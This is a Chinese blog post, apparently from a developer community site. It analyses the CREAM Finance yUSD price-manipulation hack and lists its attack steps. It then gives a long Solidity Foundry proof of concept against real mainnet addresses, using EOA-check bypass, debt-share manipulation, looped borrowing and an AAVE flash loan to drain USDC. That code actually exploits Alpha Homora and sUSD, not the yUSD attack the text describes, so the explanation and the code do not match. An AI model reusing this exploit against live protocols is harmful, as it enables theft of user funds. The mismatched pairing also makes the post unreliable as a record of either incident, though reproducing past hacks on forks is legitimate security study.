C.R.E.A.M Hack with Yearn

  • bixia1994
  • 更新于 2022-06-15 11:56
  • 阅读 2049

独乐乐,不如众乐乐。下面是我自己重现CREAM的第二次经典HACK的分析思路,以及POC。

独乐乐,不如众乐乐。下面是我自己重现CREAM的第二次经典HACK的分析思路,以及POC。 其实我觉得锅应该yEarn来背。毕竟是yEarn与Cream合作的。

Ref

https://rekt.news/cream-rekt-2/

Ana

看起来像是cryUSD合约对yUSD的定价问题。 yUSD是Curve里面的三币池啊,针对yUSD的定价是根据D来确定的。是很难操纵的啊。 cryUSD -> yUSD -> yDAI+yUSDC+yUSDT 这里需要查看的是Cream里面怎么对于yUSD进行定价

  1. cryUSD's underlying token is YvToken 从下图的price oracle的实现来看,underlying price无法操纵,需要查看pricePerShare是否能够操纵
function getUnderlyingPrice(CToken cToken) public view returns (uint256) {
    ...
    if (yvTokens[underlying].isYvToken) { //0x4b5bfd52124784745c1071dcb244c6688d2533d3 is YvTokens
            return getYvTokenPrice(underlying);
        }
    ...
}
function getYvTokenPrice(address token) internal view returns (uint256) {
    YvTokenInfo memory yvTokenInfo = yvTokens[token];
    require(yvTokenInfo.isYvToken, "not a Yvault token");

    uint256 pricePerShare;
    address underlying;
    if (yvTokenInfo.version == YvTokenVersion.V1) {
        pricePerShare = YVaultV1Interface(token).getPricePerFullShare(); 
        underlying = YVaultV1Interface(token).token();
    } else {
        pricePerShare = YVaultV2Interface(token).pricePerShare(); //self._shareVaule();
        underlying = YVaultV2Interface(token).token();
    }

    uint256 underlyingPrice;
    if (crvTokens[underlying].isCrvToken) {
        underlyingPrice = getCrvTokenPrice(underlying); 
    } else {
        underlyingPrice = getTokenPrice(underlying); //enter here, price set by admin
    }
    return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));
}
function getTokenPrice(address token) internal view returns (uint256) {
        if (token == wethAddress) {
            // weth always worth 1
            return 1e18;
        }

        AggregatorInfo memory aggregatorInfo = aggregators[token];
        if (aggregatorInfo.isUsed) {
            uint256 price = getPriceFromChainlink(aggregatorInfo.base, aggregatorInfo.quote);
            if (aggregatorInfo.quote == Denominations.USD) {
                // Convert the price to ETH based if it's USD based.
                price = mul_(price, Exp({mantissa: getUsdcEthPrice()}));
            }
            uint256 underlyingDecimals = EIP20Interface(token).decimals();
            return mul_(price, 10**(18 - underlyingDecimals));
        }
        return getPriceFromV1(token); //enter here
    }

通过查看yUSD的_shareVaule函数,其核心公式是: vaule = 10 precisionFactor freeFunds / totalSupply / preceisionFactor; 这里的freeFunds是可以操纵的。freeFunds = token.balanceOf() + totalDebt 最简单的方式是直接捐赠大量的yCrv给到这个池子里,从而增加freeFunds的数量。 或者deposit, 注意deposit时,deposit有一个上限值,deposit limit,不能超过limit - totalAssests的值。 deposit会增加freeFunds,同时也会增加totalSupply,基本上是等比例的。

所以要增大shareVaule,应该只是捐赠token即可。

@view
@internal
def _shareValue(shares: uint256) -> uint256:
    ...
    lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegration
    freeFunds: uint256 = self._totalAssets()
    precisionFactor: uint256 = self.precisionFactor
    if(lockedFundsRatio < DEGREDATION_COEFFICIENT):
        freeFunds -= (
            self.lockedProfit
             - (
                 precisionFactor
                 * lockedFundsRatio
                 * self.lockedProfit
                 / DEGREDATION_COEFFICIENT
                 / precisionFactor
             )
         )
    return (
        precisionFactor
       * shares
        * freeFunds
        / self.totalSupply
        / precisionFactor
    )
@view
@internal
def _totalAssets() -> uint256:
    # See note on `totalAssets()`.
    return self.token.balanceOf(self) + self.totalDebt # 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8 token curve yPool

整理一下:

  1. flashloan DAI 存入到yDAI
  2. add liquidity yDAI 到 yCrv
  3. donate yCrv 到yUSD => inflat the yUSD price
  4. mint yUSD 到 cryUSD, borrow ETH, USDC, USDT, etc;
  5. swap ETH to DAI repay DAI

POC的核心是: donate yUSD 增加 yUSD的价格; mint 大量的yUSD作为抵押物,从而可以借走其他资产。 关键点是如何去持有大量的yUSD?拿着大量的yUSD去mint into cryUSD,然后用inflated price来借贷出更多的其他token。

  1. mint ETH to cryETH
  2. borrow yUSD from cryUSD, 1.5B /// yUSD cash in pool is too small, we need to amplify it. mint yUSD first
  3. donate yCrv to yUSDVault, increase price 0.5B
  4. mint cryUSD with increased price
  5. borrow others

谁持有大量的yUSD呢?或者谁持有大量的yCrv? 这道题最难的就是工程化,如何工程化的写出利润最大话的代码 DUSD的token可以redeem成yUSD。通过DUSD的合约来实现。

需要闪电贷DAI,闪电贷ETH,最好成本都可控; DAI -> Maker, flashMint ETH -> AAVE 52W ETH

需要值得注意的事情:

  1. 如何在remove_liquidity_imbalance里面,全部移除流动性,计算出能够得到的最大yDAI的数量? 这里是使用了magic number: uint amount = lp * 10058 /10000;
  2. 如何计算应该swap的USDC的数量? 即swap USDC to DUSD 这里也是使用magic number: usdcAmount / 2
pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

import "@openzeppelin/contracts/utils/Strings.sol";

contract AlphaAddr is DSTest, stdCheats {

Vm public vm = Vm(HEVM_ADDRESS);

address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant crySUSD = 0x4e3a36A633f63aee0aB57b5054EC78867CB3C0b8;
address public constant cryUSDC = 0x76Eb2FE28b36B3ee97F3Adae0C69606eeDB2A37c;
address public constant sUSD = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
address public constant SUSD_WETH = 0xf80758aB42C3B07dA84053Fd88804bCB6BAA4b5c; //sUSD = 0
address public constant UNI_WETH = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; //UNI = 0
address public constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;

address public constant unitroller = 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; //comptorller

address public constant proxy = 0x5f5Cd91070960D13ee549C9CC47e7a4Cd00457bb;

address public constant coll = 0xe28D9dF7718b0b5Ba69E01073fE82254a9eD2F98; //collateral
address public constant aave = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address public constant curve = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD; //sUSD = 3, USDC = 1
address public constant aUSD = 0xBcca60bB61934080951369a648Fb03DF4F96263C;

}
interface aTokenLike {

}
interface ComptrollerLike {
function enterMarkets(address[] memory) external returns (uint[] memory);
function markets(address) external returns (bool,uint);
}

interface ERC20Like {
function balanceOf(address _owner) external view returns (uint256);
function transfer(address _to, uint256 _value) external;
function approve(address,uint) external;
function mint() external payable;
function withdraw(uint) external;
}
interface CollLike {
function mint(address token, uint amount) external ;
function burn(address token, uint amount) external ;
function balanceOf(address, uint) external view returns (uint);
function safeTransferFrom(address, address, uint, uint,bytes memory) external;
function setApprovalForAll(address, bool) external;
}
interface HomoBankLike {
function execute(
uint positionId,
address spell,
bytes memory data
) external returns (uint);
function borrow(address token, uint amount) external;
function repay(address token, uint amountCall) external;
function putCollateral(
address collToken,
uint collId,
uint amountCall
) external ;
function takeCollateral(
address collToken,
uint collId,
uint amount
) external ;
function borrowBalanceCurrent(uint positionId, address token) external view returns (uint);
function borrowBalanceStored(uint positionId, address token) external view returns (uint);
function accrue(address token) external;
function banks(address) external view returns (bool, uint8, address, uint, uint, uint,uint);
function getBankInfo(address) external view returns (bool, address, uint, uint, uint);
function resolveReserve(address token) external;
function getPositionDebtShareOf(uint, address) external returns (uint);

}
interface cTokenLike {
function mint(uint) external returns(uint);
function borrow(uint) external returns(uint);
function getCash() external view returns (uint);
}
interface AAVELike {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
interface CurveLike {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface PairLike is ERC20Like{
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes memory data
) external;
}
contract Calculator {
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn * 997;
uint numerator = amountInWithFee * reserveOut;
uint denominator = reserveIn * 1000 + amountInWithFee;
amountOut = numerator / denominator;
}

// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn * amountOut * 1000;
uint denominator = (reserveOut - amountOut) * 997;
amountIn = (numerator / denominator + 1);
}
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
///solve the equation
/// y = 997*x*r0 / (r1*1000+997*x)
/// y / (r0 - y) = (z - x) / (r1 + x)
/// solve Y => 3次方的方程,不是很好解 => z = 1.997 * x + 0.997 / r1 * x^2 => z = 1.997 * x

}
contract Helper is AlphaAddr, Calculator {
address public immutable owner;
uint public COLL_ID = uint256(uint160(UNI_WETH));
uint public POSITION_ID;
uint public COLL_AMOUNT;

constructor() {
owner = msg.sender;
CollLike(coll).setApprovalForAll(proxy, true);
ERC20Like(UNI_WETH).approve(coll, type(uint256).max);
ERC20Like(USDC).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(curve, type(uint256).max);
ERC20Like(sUSD).approve(crySUSD, type(uint256).max);
ERC20Like(sUSD).approve(proxy, type(uint256).max);
}
///swap ETH for UNI, add liquidity for UNI_WETH, and mint coll with lp
function prepare() public payable {
ERC20Like(WETH).mint{value: address(this).balance}();
uint z = ERC20Like(WETH).balanceOf(address(this)) - 1 ether;
uint x = z * 1000 / 1997;
ERC20Like(WETH).transfer(UNI_WETH, x);
(uint r0, uint r1, ) = PairLike(UNI_WETH).getReserves();
uint y = Calculator.getAmountOut(x, r1, r0);
PairLike(UNI_WETH).swap(y, 0, address(this), "");

(r0, r1, ) = PairLike(UNI_WETH).getReserves();
uint quoteY = Calculator.quote(y, r0, r1);
uint quoteZ = Calculator.quote(z-x, r1, r0);
uint amountA;
uint amountB;
if (quoteY <= z - x) {
amountA = y;
amountB = quoteY;
} else {
amountA = quoteZ;
amountB = z - x;
}
ERC20Like(WETH).transfer(UNI_WETH, amountB);
ERC20Like(UNI).transfer(UNI_WETH, amountA);
uint lp = PairLike(UNI_WETH).mint(address(this));

CollLike(coll).mint(UNI_WETH, lp);
COLL_AMOUNT = CollLike(coll).balanceOf(address(this), COLL_ID);

///swap some sUSD for step2
(r0, r1,) = PairLike(SUSD_WETH).getReserves();
uint sUSDAmount = Calculator.getAmountOut(1 ether, r1, r0);
ERC20Like(WETH).transfer(SUSD_WETH, 1 ether);
PairLike(SUSD_WETH).swap(sUSDAmount, 0, address(this), "");

res("prepare");

}
/// borrow 1000 sUSD, deposit 1000 lp
function step1() public {
HomoBankLike(proxy).borrow(sUSD, 1000 ether);
HomoBankLike(proxy).putCollateral(coll, COLL_ID, COLL_AMOUNT);
}

function step2(uint positionId) public {
POSITION_ID = positionId;
HomoBankLike(proxy).accrue(sUSD);
uint repayAmount = HomoBankLike(proxy).borrowBalanceStored(positionId, sUSD);
HomoBankLike(proxy).repay(sUSD, repayAmount - 1);

(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalDebt == 1, "totalDebt should be 1");
require(totalShare == 1, "totalShare should be 1");

}

function step3() public {
HomoBankLike(proxy).resolveReserve(sUSD);
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
require(totalShare == 1, "totalShare should be 1");
require(totalDebt > 0, "totalDebt should be greater than 0");
}

function step4() public {
uint i = 0;
while (true) {
i++;
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
try HomoBankLike(proxy).borrow(sUSD, totalDebt - 1) {
res("loop");
emit log_named_uint("success at ", i);
} catch {
emit log_named_uint("failed at ", i);
break;
}
}
}
/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
// function flashLoan(
//     address receiverAddress,
//     address[] calldata assets,
//     uint256[] calldata amounts,
//     uint256[] calldata modes,
//     address onBehalfOf,
//     bytes calldata params,
//     uint16 referralCode
// ) external;
function step5(uint usdcAmountBorrowed) public {
address[] memory tokens = new address[](1);
uint256[] memory amounts = new uint256[](1);
uint256[] memory modes = new uint256[](1);
tokens[0] = USDC;
amounts[0] = usdcAmountBorrowed;
// amounts[0] = ERC20Like(USDC).balanceOf(aUSD);
modes[0] = 0;
AAVELike(aave).flashLoan(
address(this),
tokens,
amounts,
modes,
address(this),
abi.encode(amounts[0]),
uint16(0)
);
res("step5");
ERC20Like(USDC).transfer(owner, ERC20Like(USDC).balanceOf(address(this)));
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) public returns (bool) {
uint amount = abi.decode(params, (uint));
ERC20Like(USDC).approve(aave, amount * 101 / 100);

///swap USDC for sUSD
CurveLike(curve).exchange(int128(1),int128(3),amount,0);
///mint sUSD into crySUSD
uint sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
uint resMint = cTokenLike(crySUSD).mint(sUSDAmount);
require(resMint == 0, "mint failed");
address[] memory tokens = new address[](2);
tokens[0] = crySUSD;
tokens[1] = cryUSDC;
uint[] memory resEnter = ComptrollerLike(unitroller).enterMarkets(tokens);
require(resEnter[0] == 0, "enter failed");

step4();
res("after step4");

(,uint collateralRatio) = ComptrollerLike(unitroller).markets(crySUSD);

uint cash = cTokenLike(cryUSDC).getCash();
uint maxBorrowAmount = sUSDAmount / 10**12 * collateralRatio / 10**18;
uint borrowAmount = maxBorrowAmount > cash ? cash : maxBorrowAmount;

uint resBorrow = cTokenLike(cryUSDC).borrow(borrowAmount);
require(resBorrow == 0, "borrow failed");

sUSDAmount = ERC20Like(sUSD).balanceOf(address(this));
CurveLike(curve).exchange(int128(3),int128(1),sUSDAmount,0);

emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));

return true;

}
function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4) {
return this.onERC1155Received.selector;
}

function res(string memory str) public {
emit log_named_string("=======HELPER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
emit log_named_uint("sUSD balance", ERC20Like(sUSD).balanceOf(address(this)));
(,,uint reserve, uint totalDebt, uint totalShare) = HomoBankLike(proxy).getBankInfo(sUSD);
emit log_named_uint("totalDebt", totalDebt);
emit log_named_uint("totalShare", totalShare);
emit log_named_uint("debt share", HomoBankLike(proxy).getPositionDebtShareOf(POSITION_ID, sUSD));

}

}

contract Hack is AlphaAddr {
address public helper;
uint POSITION_ID;
constructor() {
helper = address(new Helper());

}
function start() public payable {
///
require(tx.origin == address(this), "bypass the only EOA check");
/// swap ETH for UNI, add liquidity for UNI_WETH, mint coll with lp
Helper(helper).prepare{value: msg.value }();
/// step1: execute: borrow sUSD, putCollateral into bank to bypass the coll>debt check
POSITION_ID = HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step1.selector));

/// step2: roll some blocks, repay amount
vm.roll(block.number + 300);
HomoBankLike(proxy).execute(POSITION_ID, helper, abi.encodeWithSelector(Helper.step2.selector, POSITION_ID));

/// steo3: resolveReserve to increase the total debt, while keep the total share unchanged
Helper(helper).step3();

/// step4: borrow sUSD again, to limit the borrow amount a little bit smaller than the totalDebt so that it can be trimed
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step4.selector));

/// step5: flashloan from AAVE, borrow USDC, swap USDC for sUSD at Curve, and deposit into CREAM crySUSD to increase liquidity for borrowing.
/// then continue to borrow sUSD again.
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 1_800_000e6));
res("after step5");
HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
res("after step6");
// HomoBankLike(proxy).execute(0, helper, abi.encodeWithSelector(Helper.step5.selector, 10_000_000e6));
// res("after step7");

}

receive() external payable{}

function onERC1155Received(address,address,uint,uint,bytes memory) external view returns (bytes4){
return this.onERC1155Received.selector;
}

function res(string memory str) public {
emit log_named_string("=======HACKER=======", str);
emit log_named_uint("USDC balance", ERC20Like(USDC).balanceOf(address(this)));
}

}

contract FULL is AlphaAddr {
Hack public hack;

function setUp() public {
hack = new Hack();
}
function test_start() public {
vm.startPrank(address(hack), address(hack)); //to bypass the onlyEOA check
vm.deal(address(hack), 15 ether);
hack.start{value: 15 ether}();
vm.stopPrank();
}

}
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code